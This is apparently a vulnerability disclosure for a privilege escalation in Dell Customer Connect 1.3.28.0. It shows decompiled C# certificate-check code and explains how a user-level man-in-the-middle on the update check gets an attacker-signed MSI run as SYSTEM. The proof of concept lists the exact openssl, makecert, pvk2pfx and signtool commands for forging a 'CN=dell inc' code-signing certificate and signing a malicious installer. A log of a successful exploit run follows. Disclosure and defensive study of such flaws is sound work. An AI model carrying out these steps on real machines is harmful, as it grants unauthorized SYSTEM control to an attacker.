Dell Customer Connect 1.3.28.0 Privilege Escalation

Homepage:

http://www.dell.com/

Description:

DCCService.exe is running on autostart as System.

This service has auto update functionality.

Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.

Under normal conditions we cannot spoof this connection because it’s SSL.

But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().

RunImpersonated() executes given function in the context of currently logged in user.

In Windows system we can add any certificate to Local user root store.

Then this certificate is considered as trusted so we can perform MITM attack.

It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).

Config file looks like this:

<UpdateResponse>
		<LatestVersion>9.0.0.6</LatestVersion>
		<UpgradeUrl>http://our_url_to_new_file</UpgradeUrl>
		<UpgradeHash>Sha_256_of_new_file</UpgradeHash>
		<SurveyCheckInterval>1</SurveyCheckInterval>
</UpdateResponse>

So service checks if it has newest version installed and if not, it downloads a new one.

But before execution service also verify Digital Signature:

public static bool IsSignedByDell(string filePath)
{
	FileUtils.Log.DebugFormat("Checking digital signature of {0}...", filePath);
	bool result;
	try
	{
		X509Certificate x509Certificate = X509Certificate.CreateFromSignedFile(filePath);
		FileUtils.Log.DebugFormat("Certificate Issuer: \"{0}\"", x509Certificate.Issuer);
		FileUtils.Log.DebugFormat("Certificate Subject: \"{0}\"", x509Certificate.Subject);
		try
		{
			X509Certificate2 x509Certificate2 = new X509Certificate2(x509Certificate);
			bool flag = x509Certificate2.Verify();
			FileUtils.Log.DebugFormat("cert2.Verify() returned {0}", flag);
			FileUtils.Log.DebugFormat("cert2.Hash string is: {0}", x509Certificate2.GetCertHashString());
			if (!FileUtils.ValidateCert(x509Certificate2, DateTime.Now))
			{
				FileUtils.Log.Debug("Not a valid certificate!");
				result = false;
				return result;
			}
		}
		catch
		{
		}
		if (x509Certificate.Subject.ToLower().StartsWith("cn=dell inc"))
		{
			FileUtils.Log.Debug("Certificate subject is Dell.");
			result = true;
		}
		else
		{
			FileUtils.Log.Debug("Not signed by Dell!");
			result = false;
		}
	}
	catch (Exception)
	{
		FileUtils.Log.Warn("Unable to extract signature!");
		result = false;
	}
	return result;
}
private static bool ValidateCert(X509Certificate2 cert, DateTime verifydate)
{
	X509Chain chain = new X509Chain();
	chain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
	chain.ChainPolicy.RevocationMode = X509RevocationMode.Online;
	chain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 0, 30);
	chain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
	chain.ChainPolicy.VerificationTime = verifydate;
	bool b = false;
	Impersonator.RunImpersonated(delegate
	{
		b = chain.Build(cert);
	}, "Checking certificate");
	if (!b)
	{
		try
		{
			if (chain != null && chain.ChainStatus != null && chain.ChainStatus.Length != 0)
			{
				FileUtils.Log.ErrorFormat("Certificate validation failed with status: {0}", chain.ChainStatus[0].Status);
			}
		}
		catch
		{
		}
	}
	return b;
}

Again, b = chain.Build(cert); is running using RunImpersonated.

So this means we can add self-signed certificate with cn=dell inc to user root store and it will be considered as trusted.

After all these checks downloaded file is executed as SYSTEM using:

msiexec.exe /log "C:\ProgramData\Dell\Dell Customer Connect\Logs\our_file.msi_install_log.txt" ALLUSERS=1 /qn /norestart /i "C:\ProgramData\Dell\Dell Customer Connect\Downloads\our_file\our_file.msi"

So we can execute any msi files as SYSTEM.

This method has one drawback though: service checks config file only once per several hours, keep this in mind.

Proof of Concept:

First generate ssl certificate for domain:

openssl req -x509 -newkey rsa:2048 -sha256 -nodes -keyout otbs.key -out otbs.crt -subj "/CN=otbs.azurewebsites.net" -days 3650

Put public and private keys into one crt file.

Then we need to generate code signing certificate and sign malicious msi file:

makecert -r -pe -n "CN=dell inc" -b 01/01/2017 -e 01/01/2020 -sky exchange code.cer -sv code.pvk
pvk2pfx.exe -pvk code.pvk -spc code.cer -pfx code.pfx
signtool.exe sign /f "code.pfx" /d code.msi code.msi

Download Exploit

Successfull exection looks in log file like this:

2017-02-05 20:49:25,066 [6460] DEBUG Running action "Sending web request AppConfig"    [RunImpersonated]
2017-02-05 20:49:25,068 [6460] DEBUG string to hash is: 2017-02-05 20:49:25.068,GET,https://otbs.azurewebsites.net/api/AppConfig?serviceTag=&appVersion=1.3.28.0    [CreateRequest]
2017-02-05 20:49:25,532 [6460] DEBUG Response received in 458ms for web request AppConfig.    [sendWebRequest]
2017-02-05 20:49:25,532 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry.    [LogEventToDaws]
2017-02-05 20:49:25,532 [6460] INFO  Successfully requested AppConfig from web service.    [GetAppConfig]
2017-02-05 20:49:25,534 [6460] INFO  AppConfig processed.    [GetAppConfig]
2017-02-05 20:49:25,534 [6460] INFO  Current version: 1.3.28.0; Available Version: 9.0.0.6    [UpgradeIsRequired]
2017-02-05 20:49:25,539 [6460] INFO  Upgrading software to version 9.0.0.6; Downloading Installer: http://localhost:5555/exploit.msi    [UpgradeClient]
2017-02-05 20:49:25,540 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry.    [LogEventToDaws]
2017-02-05 20:49:25,543 [6460] DEBUG Impersonating Computer\test.    [RunImpersonated]
2017-02-05 20:49:25,543 [6460] DEBUG Running action "Getting Proxy"    [RunImpersonated]
2017-02-05 20:49:25,546 [6460] INFO  Using proxy server: http://127.0.0.1:7777/    [EnableProxy2]
2017-02-05 20:49:25,546 [6460] DEBUG Web Client instantiated with user-agent header "Dell Customer Connect/1.3.28.0"; Using Proxy: True    [.ctor]
2017-02-05 20:49:26,558 [6460] INFO  Download complete.    [UpgradeClient]
2017-02-05 20:49:26,560 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry.    [LogEventToDawsAndWait]
2017-02-05 20:49:26,568 [6460] DEBUG Checking digital signature of C:\ProgramData\Dell\Dell Customer Connect\Downloads\exploit\exploit.msi...    [IsSignedByDell]
2017-02-05 20:49:26,570 [6460] DEBUG Certificate Issuer: "CN=dell inc"    [IsSignedByDell]
2017-02-05 20:49:26,571 [6460] DEBUG Certificate Subject: "CN=dell inc"    [IsSignedByDell]
2017-02-05 20:49:26,573 [6460] DEBUG cert2.Verify() returned False    [IsSignedByDell]
2017-02-05 20:49:26,573 [6460] DEBUG cert2.Hash string is: 784FD5450B5DACA1C127C9E08B635F24A43A4783    [IsSignedByDell]
2017-02-05 20:49:26,576 [6460] DEBUG Impersonating Computer\test.    [RunImpersonated]
2017-02-05 20:49:26,577 [6460] DEBUG Running action "Checking certificate"    [RunImpersonated]
2017-02-05 20:49:26,584 [6460] DEBUG Certificate subject is Dell.    [IsSignedByDell]
2017-02-05 20:49:26,584 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry.    [LogEventToDawsAndWait]
2017-02-05 20:49:26,585 [6460] INFO  Starting upgrade: msiexec.exe /log "C:\ProgramData\Dell\Dell Customer Connect\Logs\exploit.msi_install_log.txt" ALLUSERS=1 /qn /norestart /i "C:\ProgramData\Dell\Dell Customer Connect\Downloads\exploit\exploit.msi"    [UpgradeClient]
2017-02-05 20:49:26,589 [6460] INFO  Stopping windows service because upgrade is about to be installed.    [CheckForUpgradeAndSurveyReady]

Timeline: